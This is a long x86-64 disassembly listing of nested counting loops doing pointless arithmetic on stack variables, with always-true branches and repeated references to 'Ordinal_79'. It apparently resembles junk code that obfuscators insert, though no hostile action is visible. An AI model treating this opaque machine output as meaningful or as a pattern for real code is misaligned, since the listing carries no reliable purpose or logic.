mov eax, dword [rsp + 0x1590]
sub eax, 2
mov dword [rsp + 0x1590], eax
cmp dword [rsp + 0x1590], 0
jg 0x1401092c9
jmp 0x1401091b3
cmp dword [rsp + 0x7a4], 0x1c
jl 0x140108fe0
jmp 0x140108fb1
cmp dword [rsp + 0x1594], 0x1e
jle 0x14010950c
mov eax, dword [rsp + 0x1594]
cdq
mov ecx, 7
idiv ecx
mov dword [rsp + 0x15a4], eax
mov dword [rsp + 0x1598], 0
jmp 0x140109382
mov eax, dword [rsp + 0x1598]
inc eax
mov dword [rsp + 0x1598], eax
cmp dword [rsp + 0x1598], 5
jge 0x1401094ed
mov dword [rsp + 0x159c], 0x2a
mov dword [rsp + 0xd60], 0
jmp 0x1401093b8
mov eax, dword [rsp + 0xd60]
inc eax
mov dword [rsp + 0xd60], eax
cmp dword [rsp + 0xd60], 4
jge 0x140109467
mov eax, dword [rsp + 0xd60]
add eax, 2
mov dword [rsp + 0x7a8], eax
mov eax, dword [rsp + 0x7a8]
inc eax
mov dword [rsp + 0x7a8], eax
cmp dword [rsp + 0x7a8], 7
jne 0x140109454
mov dword [rsp + 0x19c], Ordinal_79
cmp dword [rsp + 0x19c], 0
jle 0x140109436
mov eax, dword [rsp + 0x19c]
sub eax, 5
mov dword [rsp + 0x19c], eax
cmp dword [rsp + 0x19c], 0xa
jne 0x140109434
mov eax, dword [rsp + 0x19c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x19c], eax
jmp 0x1401093fc
mov eax, dword [rsp + 0x7a8]
imul eax, dword [rsp + 0x159c]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1be0], eax
cmp dword [rsp + 0x7a8], 0xb
jl 0x1401093d7
jmp 0x1401093a8
cmp dword [rsp + 0x159c], 0x14
jle 0x1401094e8
mov eax, dword [rsp + 0x159c]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x15a0], eax
mov dword [rsp + 0x1a0], Ordinal_79
cmp dword [rsp + 0x1a0], 0
jle 0x1401094cd
mov eax, dword [rsp + 0x1a0]
sub eax, 5
mov dword [rsp + 0x1a0], eax
cmp dword [rsp + 0x1a0], 0xa
jne 0x1401094cb
mov eax, dword [rsp + 0x1a0]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1a0], eax
jmp 0x140109493
mov eax, dword [rsp + 0x15a0]
sub eax, 2
mov dword [rsp + 0x15a0], eax
cmp dword [rsp + 0x15a0], 0
jg 0x140109488
jmp 0x140109372
mov eax, dword [rsp + 0x15a4]
sub eax, 2
mov dword [rsp + 0x15a4], eax
cmp dword [rsp + 0x15a4], 0
jg 0x140109365
mov dword [rsp + 0x15a8], 0
jmp 0x140109529
mov eax, dword [rsp + 0x15a8]
inc eax
mov dword [rsp + 0x15a8], eax
cmp dword [rsp + 0x15a8], 5
jge 0x140109694
mov dword [rsp + 0x15ac], 0x2a
mov dword [rsp + 0xd64], 0
jmp 0x14010955f
mov eax, dword [rsp + 0xd64]
inc eax
mov dword [rsp + 0xd64], eax
cmp dword [rsp + 0xd64], 4
jge 0x14010960e
mov eax, dword [rsp + 0xd64]
add eax, 2
mov dword [rsp + 0x7ac], eax
mov eax, dword [rsp + 0x7ac]
inc eax
mov dword [rsp + 0x7ac], eax
cmp dword [rsp + 0x7ac], 7
jne 0x1401095fb
mov dword [rsp + 0x1a4], Ordinal_79
cmp dword [rsp + 0x1a4], 0
jle 0x1401095dd
mov eax, dword [rsp + 0x1a4]
sub eax, 5
mov dword [rsp + 0x1a4], eax
cmp dword [rsp + 0x1a4], 0xa
jne 0x1401095db
mov eax, dword [rsp + 0x1a4]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1a4], eax
jmp 0x1401095a3
mov eax, dword [rsp + 0x7ac]
imul eax, dword [rsp + 0x15ac]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1be4], eax
cmp dword [rsp + 0x7ac], 0xb
jl 0x14010957e
jmp 0x14010954f
cmp dword [rsp + 0x15ac], 0x14
jle 0x14010968f
mov eax, dword [rsp + 0x15ac]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x15b0], eax
mov dword [rsp + 0x1a8], Ordinal_79
cmp dword [rsp + 0x1a8], 0
jle 0x140109674
mov eax, dword [rsp + 0x1a8]
sub eax, 5
mov dword [rsp + 0x1a8], eax
cmp dword [rsp + 0x1a8], 0xa
jne 0x140109672
mov eax, dword [rsp + 0x1a8]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1a8], eax
jmp 0x14010963a
mov eax, dword [rsp + 0x15b0]
sub eax, 2
mov dword [rsp + 0x15b0], eax
cmp dword [rsp + 0x15b0], 0
jg 0x14010962f
jmp 0x140109519
jmp 0x140108f7b
jmp 0x140109dc7
mov dword [rsp + 0x15b4], 0
jmp 0x1401096bb
mov eax, dword [rsp + 0x15b4]
inc eax
mov dword [rsp + 0x15b4], eax
cmp dword [rsp + 0x15b4], 5
jge 0x140109dc7
mov dword [rsp + 0x15d0], 0x34
mov dword [rsp + 0xd68], 0
jmp 0x1401096f1
mov eax, dword [rsp + 0xd68]
inc eax
mov dword [rsp + 0xd68], eax
cmp dword [rsp + 0xd68], 7
jge 0x140109a70
mov eax, dword [rsp + 0xd68]
add eax, 4
mov dword [rsp + 0x7b8], eax
mov eax, dword [rsp + 0x7b8]
add eax, 3
mov dword [rsp + 0x7b8], eax
cmp dword [rsp + 0x7b8], 0x10
jne 0x140109a5d
mov dword [rsp + 0x15b8], 0
jmp 0x14010974c
mov eax, dword [rsp + 0x15b8]
inc eax
mov dword [rsp + 0x15b8], eax
cmp dword [rsp + 0x15b8], 5
jge 0x1401098b7
mov dword [rsp + 0x15bc], 0x2a
mov dword [rsp + 0xd6c], 0
jmp 0x140109782
mov eax, dword [rsp + 0xd6c]
inc eax
mov dword [rsp + 0xd6c], eax
cmp dword [rsp + 0xd6c], 4
jge 0x140109831
mov eax, dword [rsp + 0xd6c]
add eax, 2
mov dword [rsp + 0x7b0], eax
mov eax, dword [rsp + 0x7b0]
inc eax
mov dword [rsp + 0x7b0], eax
cmp dword [rsp + 0x7b0], 7
jne 0x14010981e
mov dword [rsp + 0x1ac], Ordinal_79
cmp dword [rsp + 0x1ac], 0
jle 0x140109800
mov eax, dword [rsp + 0x1ac]
sub eax, 5
mov dword [rsp + 0x1ac], eax
cmp dword [rsp + 0x1ac], 0xa
jne 0x1401097fe
mov eax, dword [rsp + 0x1ac]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1ac], eax
jmp 0x1401097c6
mov eax, dword [rsp + 0x7b0]
imul eax, dword [rsp + 0x15bc]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1be8], eax
cmp dword [rsp + 0x7b0], 0xb
jl 0x1401097a1
jmp 0x140109772
cmp dword [rsp + 0x15bc], 0x14
jle 0x1401098b2
mov eax, dword [rsp + 0x15bc]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x15c0], eax
mov dword [rsp + 0x1b0], Ordinal_79
cmp dword [rsp + 0x1b0], 0
jle 0x140109897
mov eax, dword [rsp + 0x1b0]
sub eax, 5
mov dword [rsp + 0x1b0], eax
cmp dword [rsp + 0x1b0], 0xa
jne 0x140109895
mov eax, dword [rsp + 0x1b0]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1b0], eax
jmp 0x14010985d
mov eax, dword [rsp + 0x15c0]
sub eax, 2
mov dword [rsp + 0x15c0], eax
cmp dword [rsp + 0x15c0], 0
jg 0x140109852
jmp 0x14010973c
mov eax, dword [rsp + 0x7b8]
imul eax, dword [rsp + 0x15d0]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0x1bec], eax
mov dword [rsp + 0x15c4], 0
jmp 0x1401098f2
mov eax, dword [rsp + 0x15c4]
inc eax
mov dword [rsp + 0x15c4], eax
cmp dword [rsp + 0x15c4], 5
jge 0x140109a5d
mov dword [rsp + 0x15c8], 0x2a
mov dword [rsp + 0xd70], 0
jmp 0x140109928
mov eax, dword [rsp + 0xd70]
inc eax
mov dword [rsp + 0xd70], eax
cmp dword [rsp + 0xd70], 4
jge 0x1401099d7
mov eax, dword [rsp + 0xd70]
add eax, 2
mov dword [rsp + 0x7b4], eax
mov eax, dword [rsp + 0x7b4]
inc eax
mov dword [rsp + 0x7b4], eax
cmp dword [rsp + 0x7b4], 7
jne 0x1401099c4
mov dword [rsp + 0x1b4], Ordinal_79
cmp dword [rsp + 0x1b4], 0
jle 0x1401099a6
mov eax, dword [rsp + 0x1b4]
sub eax, 5
mov dword [rsp + 0x1b4], eax
cmp dword [rsp + 0x1b4], 0xa
jne 0x1401099a4
mov eax, dword [rsp + 0x1b4]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1b4], eax
jmp 0x14010996c
mov eax, dword [rsp + 0x7b4]
imul eax, dword [rsp + 0x15c8]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1bf0], eax
cmp dword [rsp + 0x7b4], 0xb
jl 0x140109947
jmp 0x140109918
cmp dword [rsp + 0x15c8], 0x14
jle 0x140109a58
mov eax, dword [rsp + 0x15c8]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x15cc], eax
mov dword [rsp + 0x1b8], Ordinal_79
cmp dword [rsp + 0x1b8], 0
jle 0x140109a3d
mov eax, dword [rsp + 0x1b8]
sub eax, 5
mov dword [rsp + 0x1b8], eax
cmp dword [rsp + 0x1b8], 0xa
jne 0x140109a3b
mov eax, dword [rsp + 0x1b8]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1b8], eax
jmp 0x140109a03
mov eax, dword [rsp + 0x15cc]
sub eax, 2
mov dword [rsp + 0x15cc], eax
cmp dword [rsp + 0x15cc], 0
jg 0x1401099f8
jmp 0x1401098e2
cmp dword [rsp + 0x7b8], 0x1b
jl 0x140109710
jmp 0x1401096e1
cmp dword [rsp + 0x15d0], 0x19
jle 0x140109c3a
mov eax, dword [rsp + 0x15d0]
cdq
mov ecx, 6
idiv ecx
mov dword [rsp + 0x15e0], eax
mov dword [rsp + 0x15d4], 0
jmp 0x140109ab1
mov eax, dword [rsp + 0x15d4]
inc eax
mov dword [rsp + 0x15d4], eax
cmp dword [rsp + 0x15d4], 5
jge 0x140109c1c
mov dword [rsp + 0x15d8], 0x2a
mov dword [rsp + 0xd74], 0
jmp 0x140109ae7
mov eax, dword [rsp + 0xd74]
inc eax
mov dword [rsp + 0xd74], eax
cmp dword [rsp + 0xd74], 4
jge 0x140109b96
mov eax, dword [rsp + 0xd74]
add eax, 2
mov dword [rsp + 0x7bc], eax
mov eax, dword [rsp + 0x7bc]
inc eax
mov dword [rsp + 0x7bc], eax
cmp dword [rsp + 0x7bc], 7
jne 0x140109b83
mov dword [rsp + 0x1bc], Ordinal_79
cmp dword [rsp + 0x1bc], 0
jle 0x140109b65
mov eax, dword [rsp + 0x1bc]
sub eax, 5
mov dword [rsp + 0x1bc], eax
cmp dword [rsp + 0x1bc], 0xa
jne 0x140109b63
mov eax, dword [rsp + 0x1bc]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1bc], eax
jmp 0x140109b2b
mov eax, dword [rsp + 0x7bc]
imul eax, dword [rsp + 0x15d8]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1bf4], eax
cmp dword [rsp + 0x7bc], 0xb
jl 0x140109b06
jmp 0x140109ad7
cmp dword [rsp + 0x15d8], 0x14
jle 0x140109c17
mov eax, dword [rsp + 0x15d8]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x15dc], eax
mov dword [rsp + 0x1c0], Ordinal_79
cmp dword [rsp + 0x1c0], 0
jle 0x140109bfc
mov eax, dword [rsp + 0x1c0]
sub eax, 5
mov dword [rsp + 0x1c0], eax
cmp dword [rsp + 0x1c0], 0xa
jne 0x140109bfa
mov eax, dword [rsp + 0x1c0]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1c0], eax
jmp 0x140109bc2
mov eax, dword [rsp + 0x15dc]
sub eax, 2
mov dword [rsp + 0x15dc], eax
cmp dword [rsp + 0x15dc], 0
jg 0x140109bb7
jmp 0x140109aa1
mov eax, dword [rsp + 0x15e0]
dec eax
mov dword [rsp + 0x15e0], eax
cmp dword [rsp + 0x15e0], 0
jg 0x140109a94
mov dword [rsp + 0x15e4], 0
jmp 0x140109c57
mov eax, dword [rsp + 0x15e4]
inc eax
mov dword [rsp + 0x15e4], eax
cmp dword [rsp + 0x15e4], 5
jge 0x140109dc2
mov dword [rsp + 0x15e8], 0x2a
mov dword [rsp + 0xd78], 0
jmp 0x140109c8d
mov eax, dword [rsp + 0xd78]
inc eax
mov dword [rsp + 0xd78], eax
cmp dword [rsp + 0xd78], 4
jge 0x140109d3c
mov eax, dword [rsp + 0xd78]
add eax, 2
mov dword [rsp + 0x7c0], eax
mov eax, dword [rsp + 0x7c0]
inc eax
mov dword [rsp + 0x7c0], eax
cmp dword [rsp + 0x7c0], 7
jne 0x140109d29
mov dword [rsp + 0x1c4], Ordinal_79
cmp dword [rsp + 0x1c4], 0
jle 0x140109d0b
mov eax, dword [rsp + 0x1c4]
sub eax, 5
mov dword [rsp + 0x1c4], eax
cmp dword [rsp + 0x1c4], 0xa
jne 0x140109d09
mov eax, dword [rsp + 0x1c4]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1c4], eax
jmp 0x140109cd1
mov eax, dword [rsp + 0x7c0]
imul eax, dword [rsp + 0x15e8]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1bf8], eax
cmp dword [rsp + 0x7c0], 0xb
jl 0x140109cac
jmp 0x140109c7d
cmp dword [rsp + 0x15e8], 0x14
jle 0x140109dbd
mov eax, dword [rsp + 0x15e8]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x15ec], eax
mov dword [rsp + 0x1c8], Ordinal_79
cmp dword [rsp + 0x1c8], 0
jle 0x140109da2
mov eax, dword [rsp + 0x1c8]
sub eax, 5
mov dword [rsp + 0x1c8], eax
cmp dword [rsp + 0x1c8], 0xa
jne 0x140109da0
mov eax, dword [rsp + 0x1c8]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1c8], eax
jmp 0x140109d68
mov eax, dword [rsp + 0x15ec]
sub eax, 2
mov dword [rsp + 0x15ec], eax
cmp dword [rsp + 0x15ec], 0
jg 0x140109d5d
jmp 0x140109c47
jmp 0x1401096ab
xor eax, eax
test eax, eax
je 0x14010af23
xor eax, eax
test eax, eax
je 0x14010a67f
mov dword [rsp + 0x15f0], 0
jmp 0x140109df8
mov eax, dword [rsp + 0x15f0]
inc eax
mov dword [rsp + 0x15f0], eax
cmp dword [rsp + 0x15f0], 5
jge 0x14010a67a
mov dword [rsp + 0x160c], 0x3f
mov dword [rsp + 0xd7c], 0
jmp 0x140109e2e
mov eax, dword [rsp + 0xd7c]
inc eax
mov dword [rsp + 0xd7c], eax
cmp dword [rsp + 0xd7c], 9
jge 0x14010a266
mov eax, dword [rsp + 0xd7c]
add eax, 7
mov dword [rsp + 0x7dc], eax
mov eax, dword [rsp + 0x7dc]
add eax, 4
mov dword [rsp + 0x7dc], eax
cmp dword [rsp + 0x7dc], 0x15
jne 0x14010a253
mov dword [rsp + 0x15f4], 0
jmp 0x140109e89
mov eax, dword [rsp + 0x15f4]
inc eax
mov dword [rsp + 0x15f4], eax
cmp dword [rsp + 0x15f4], 5
jge 0x14010a052
mov dword [rsp + 0x15f8], 0x11
mov dword [rsp + 0xd80], 0
jmp 0x140109ebf
mov eax, dword [rsp + 0xd80]
inc eax
mov dword [rsp + 0xd80], eax
cmp dword [rsp + 0xd80], 3
jge 0x140109f9a
mov eax, dword [rsp + 0xd80]
inc eax
mov dword [rsp + 0x7c8], eax
mov eax, dword [rsp + 0x7c8]
inc eax
mov dword [rsp + 0x7c8], eax
cmp dword [rsp + 0x7c8], 4
jne 0x140109f87
mov dword [rsp + 0x7c4], 0xd
mov dword [rsp + 0xd84], 0
jmp 0x140109f23
mov eax, dword [rsp + 0xd84]
inc eax
mov dword [rsp + 0xd84], eax
cmp dword [rsp + 0xd84], 4
jge 0x140109f6c
mov eax, dword [rsp + 0xd84]
mov ecx, dword [rsp + 0x7c4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7c4], eax
mov eax, dword [rsp + 0x7c4]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140109f6a
imul eax, dword [rsp + 0x7c4], 3
mov dword [rsp + 0x7c4], eax
jmp 0x140109f13
mov eax, dword [rsp + 0x7c8]
imul eax, dword [rsp + 0x15f8]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1bfc], eax
cmp dword [rsp + 0x7c8], 6
jl 0x140109edd
jmp 0x140109eaf
cmp dword [rsp + 0x15f8], 0xa
jle 0x14010a04d
mov eax, dword [rsp + 0x15f8]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x15fc], eax
mov dword [rsp + 0x7cc], 0xd
mov dword [rsp + 0xd88], 0
jmp 0x140109fe6
mov eax, dword [rsp + 0xd88]
inc eax
mov dword [rsp + 0xd88], eax
cmp dword [rsp + 0xd88], 4
jge 0x14010a02f
mov eax, dword [rsp + 0xd88]
mov ecx, dword [rsp + 0x7cc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7cc], eax
mov eax, dword [rsp + 0x7cc]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14010a02d
imul eax, dword [rsp + 0x7cc], 3
mov dword [rsp + 0x7cc], eax
jmp 0x140109fd6
mov eax, dword [rsp + 0x15fc]
dec eax
mov dword [rsp + 0x15fc], eax
cmp dword [rsp + 0x15fc], 0
jg 0x140109fbe
jmp 0x140109e79
mov eax, dword [rsp + 0x7dc]
imul eax, dword [rsp + 0x160c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1c00], eax
mov dword [rsp + 0x1600], 0
jmp 0x14010a08a
mov eax, dword [rsp + 0x1600]
inc eax
mov dword [rsp + 0x1600], eax
cmp dword [rsp + 0x1600], 5
jge 0x14010a253
mov dword [rsp + 0x1604], 0x11
mov dword [rsp + 0xd8c], 0
jmp 0x14010a0c0
mov eax, dword [rsp + 0xd8c]
inc eax
mov dword [rsp + 0xd8c], eax
cmp dword [rsp + 0xd8c], 3
jge 0x14010a19b
mov eax, dword [rsp + 0xd8c]
inc eax
mov dword [rsp + 0x7d4], eax
mov eax, dword [rsp + 0x7d4]
inc eax
mov dword [rsp + 0x7d4], eax
cmp dword [rsp + 0x7d4], 4
jne 0x14010a188
mov dword [rsp + 0x7d0], 0xd
mov dword [rsp + 0xd90], 0
jmp 0x14010a124
mov eax, dword [rsp + 0xd90]
inc eax
mov dword [rsp + 0xd90], eax
cmp dword [rsp + 0xd90], 4
jge 0x14010a16d
mov eax, dword [rsp + 0xd90]
mov ecx, dword [rsp + 0x7d0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7d0], eax
mov eax, dword [rsp + 0x7d0]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14010a16b
imul eax, dword [rsp + 0x7d0], 3
mov dword [rsp + 0x7d0], eax
jmp 0x14010a114
mov eax, dword [rsp + 0x7d4]
imul eax, dword [rsp + 0x1604]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1c04], eax
cmp dword [rsp + 0x7d4], 6
jl 0x14010a0de
jmp 0x14010a0b0
cmp dword [rsp + 0x1604], 0xa
jle 0x14010a24e
mov eax, dword [rsp + 0x1604]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1608], eax
mov dword [rsp + 0x7d8], 0xd
mov dword [rsp + 0xd94], 0
jmp 0x14010a1e7
mov eax, dword [rsp + 0xd94]
inc eax
mov dword [rsp + 0xd94], eax
cmp dword [rsp + 0xd94], 4
jge 0x14010a230
mov eax, dword [rsp + 0xd94]
mov ecx, dword [rsp + 0x7d8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7d8], eax
mov eax, dword [rsp + 0x7d8]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14010a22e
imul eax, dword [rsp + 0x7d8], 3
mov dword [rsp + 0x7d8], eax
jmp 0x14010a1d7
mov eax, dword [rsp + 0x1608]
dec eax
mov dword [rsp + 0x1608], eax
cmp dword [rsp + 0x1608], 0
jg 0x14010a1bf
jmp 0x14010a07a
cmp dword [rsp + 0x7dc], 0x23
jl 0x140109e4d
jmp 0x140109e1e
cmp dword [rsp + 0x160c], 0x28
jle 0x14010a48f
mov eax, dword [rsp + 0x160c]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x161c], eax
mov dword [rsp + 0x1610], 0
jmp 0x14010a2a7
mov eax, dword [rsp + 0x1610]
inc eax
mov dword [rsp + 0x1610], eax
cmp dword [rsp + 0x1610], 5
jge 0x14010a470
mov dword [rsp + 0x1614], 0x11
mov dword [rsp + 0xd98], 0
jmp 0x14010a2dd
mov eax, dword [rsp + 0xd98]
inc eax
mov dword [rsp + 0xd98], eax
cmp dword [rsp + 0xd98], 3
jge 0x14010a3b8
mov eax, dword [rsp + 0xd98]
inc eax
mov dword [rsp + 0x7e4], eax
mov eax, dword [rsp + 0x7e4]
inc eax
mov dword [rsp + 0x7e4], eax
cmp dword [rsp + 0x7e4], 4
jne 0x14010a3a5
mov dword [rsp + 0x7e0], 0xd
mov dword [rsp + 0xd9c], 0
jmp 0x14010a341
mov eax, dword [rsp + 0xd9c]
inc eax
mov dword [rsp + 0xd9c], eax
cmp dword [rsp + 0xd9c], 4
jge 0x14010a38a
mov eax, dword [rsp + 0xd9c]
mov ecx, dword [rsp + 0x7e0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7e0], eax
mov eax, dword [rsp + 0x7e0]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14010a388
imul eax, dword [rsp + 0x7e0], 3
mov dword [rsp + 0x7e0], eax
jmp 0x14010a331
mov eax, dword [rsp + 0x7e4]
imul eax, dword [rsp + 0x1614]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1c08], eax
cmp dword [rsp + 0x7e4], 6
jl 0x14010a2fb
jmp 0x14010a2cd
cmp dword [rsp + 0x1614], 0xa
jle 0x14010a46b
mov eax, dword [rsp + 0x1614]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1618], eax
mov dword [rsp + 0x7e8], 0xd
mov dword [rsp + 0xda0], 0
jmp 0x14010a404
mov eax, dword [rsp + 0xda0]
inc eax
mov dword [rsp + 0xda0], eax
cmp dword [rsp + 0xda0], 4
jge 0x14010a44d
mov eax, dword [rsp + 0xda0]
mov ecx, dword [rsp + 0x7e8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7e8], eax
mov eax, dword [rsp + 0x7e8]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14010a44b
imul eax, dword [rsp + 0x7e8], 3
mov dword [rsp + 0x7e8], eax
jmp 0x14010a3f4
mov eax, dword [rsp + 0x1618]
dec eax
mov dword [rsp + 0x1618], eax
cmp dword [rsp + 0x1618], 0
jg 0x14010a3dc
jmp 0x14010a297
mov eax, dword [rsp + 0x161c]
sub eax, 2
mov dword [rsp + 0x161c], eax
cmp dword [rsp + 0x161c], 0
jg 0x14010a28a
mov dword [rsp + 0x1620], 0
jmp 0x14010a4ac
mov eax, dword [rsp + 0x1620]
inc eax
mov dword [rsp + 0x1620], eax
cmp dword [rsp + 0x1620], 5
jge 0x14010a675
mov dword [rsp + 0x1624], 0x11
mov dword [rsp + 0xda4], 0
jmp 0x14010a4e2
mov eax, dword [rsp + 0xda4]
inc eax
mov dword [rsp + 0xda4], eax
cmp dword [rsp + 0xda4], 3
jge 0x14010a5bd
mov eax, dword [rsp + 0xda4]
inc eax
mov dword [rsp + 0x7f0], eax
mov eax, dword [rsp + 0x7f0]
inc eax
mov dword [rsp + 0x7f0], eax
cmp dword [rsp + 0x7f0], 4
jne 0x14010a5aa
mov dword [rsp + 0x7ec], 0xd
mov dword [rsp + 0xda8], 0
jmp 0x14010a546
mov eax, dword [rsp + 0xda8]
inc eax
mov dword [rsp + 0xda8], eax
cmp dword [rsp + 0xda8], 4
jge 0x14010a58f
mov eax, dword [rsp + 0xda8]
mov ecx, dword [rsp + 0x7ec]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7ec], eax
mov eax, dword [rsp + 0x7ec]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14010a58d
imul eax, dword [rsp + 0x7ec], 3
mov dword [rsp + 0x7ec], eax
jmp 0x14010a536
mov eax, dword [rsp + 0x7f0]
imul eax, dword [rsp + 0x1624]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1c0c], eax
cmp dword [rsp + 0x7f0], 6
jl 0x14010a500
jmp 0x14010a4d2
cmp dword [rsp + 0x1624], 0xa
jle 0x14010a670
mov eax, dword [rsp + 0x1624]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1628], eax
mov dword [rsp + 0x7f4], 0xd
mov dword [rsp + 0xdac], 0
jmp 0x14010a609
mov eax, dword [rsp + 0xdac]
inc eax
mov dword [rsp + 0xdac], eax
cmp dword [rsp + 0xdac], 4
jge 0x14010a652
mov eax, dword [rsp + 0xdac]
mov ecx, dword [rsp + 0x7f4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f4], eax
mov eax, dword [rsp + 0x7f4]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14010a650
imul eax, dword [rsp + 0x7f4], 3
mov dword [rsp + 0x7f4], eax
jmp 0x14010a5f9
mov eax, dword [rsp + 0x1628]
dec eax
mov dword [rsp + 0x1628], eax
cmp dword [rsp + 0x1628], 0
jg 0x14010a5e1
jmp 0x14010a49c
jmp 0x140109de8
jmp 0x14010af23
mov dword [rsp + 0x162c], 0
jmp 0x14010a69c
mov eax, dword [rsp + 0x162c]
inc eax
mov dword [rsp + 0x162c], eax
cmp dword [rsp + 0x162c], 5
jge 0x14010af23
mov dword [rsp + 0x1648], 0x5c
mov dword [rsp + 0xdb0], 0
jmp 0x14010a6d2
mov eax, dword [rsp + 0xdb0]
inc eax
mov dword [rsp + 0xdb0], eax
cmp dword [rsp + 0xdb0], 6
jge 0x14010ab0e
mov eax, dword [rsp + 0xdb0]
add eax, 9
mov dword [rsp + 0x810], eax
mov eax, dword [rsp + 0x810]
add eax, 3
mov dword [rsp + 0x810], eax
cmp dword [rsp + 0x810], 0x18
jne 0x14010aafb
mov dword [rsp + 0x1630], 0
jmp 0x14010a72d
mov eax, dword [rsp + 0x1630]
inc eax
mov dword [rsp + 0x1630], eax
cmp dword [rsp + 0x1630], 5
jge 0x14010a8f6
mov dword [rsp + 0x1634], 0x11
mov dword [rsp + 0xdb4], 0
jmp 0x14010a763
mov eax, dword [rsp + 0xdb4]
inc eax
mov dword [rsp + 0xdb4], eax
cmp dword [rsp + 0xdb4], 3
jge 0x14010a83e
mov eax, dword [rsp + 0xdb4]
inc eax
mov dword [rsp + 0x7fc], eax
mov eax, dword [rsp + 0x7fc]
inc eax
mov dword [rsp + 0x7fc], eax
cmp dword [rsp + 0x7fc], 4
jne 0x14010a82b
mov dword [rsp + 0x7f8], 0xd
mov dword [rsp + 0xdb8], 0
jmp 0x14010a7c7
mov eax, dword [rsp + 0xdb8]
inc eax
mov dword [rsp + 0xdb8], eax
cmp dword [rsp + 0xdb8], 4
jge 0x14010a810
mov eax, dword [rsp + 0xdb8]
mov ecx, dword [rsp + 0x7f8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f8], eax
mov eax, dword [rsp + 0x7f8]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14010a80e
imul eax, dword [rsp + 0x7f8], 3
mov dword [rsp + 0x7f8], eax
jmp 0x14010a7b7
mov eax, dword [rsp + 0x7fc]
imul eax, dword [rsp + 0x1634]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1c10], eax
cmp dword [rsp + 0x7fc], 6
jl 0x14010a781
jmp 0x14010a753
cmp dword [rsp + 0x1634], 0xa
jle 0x14010a8f1
mov eax, dword [rsp + 0x1634]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1638], eax
mov dword [rsp + 0x800], 0xd
mov dword [rsp + 0xdbc], 0
jmp 0x14010a88a
mov eax, dword [rsp + 0xdbc]
inc eax
mov dword [rsp + 0xdbc], eax
cmp dword [rsp + 0xdbc], 4
jge 0x14010a8d3
mov eax, dword [rsp + 0xdbc]
mov ecx, dword [rsp + 0x800]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x800], eax
mov eax, dword [rsp + 0x800]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14010a8d1
imul eax, dword [rsp + 0x800], 3
mov dword [rsp + 0x800], eax
jmp 0x14010a87a
mov eax, dword [rsp + 0x1638]
dec eax
mov dword [rsp + 0x1638], eax
cmp dword [rsp + 0x1638], 0
jg 0x14010a862
jmp 0x14010a71d
mov eax, dword [rsp + 0x810]
imul eax, dword [rsp + 0x1648]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x1c14], eax
mov dword [rsp + 0x163c], 0
jmp 0x14010a932
mov eax, dword [rsp + 0x163c]
inc eax
mov dword [rsp + 0x163c], eax
cmp dword [rsp + 0x163c], 5
jge 0x14010aafb
mov dword [rsp + 0x1640], 0x11
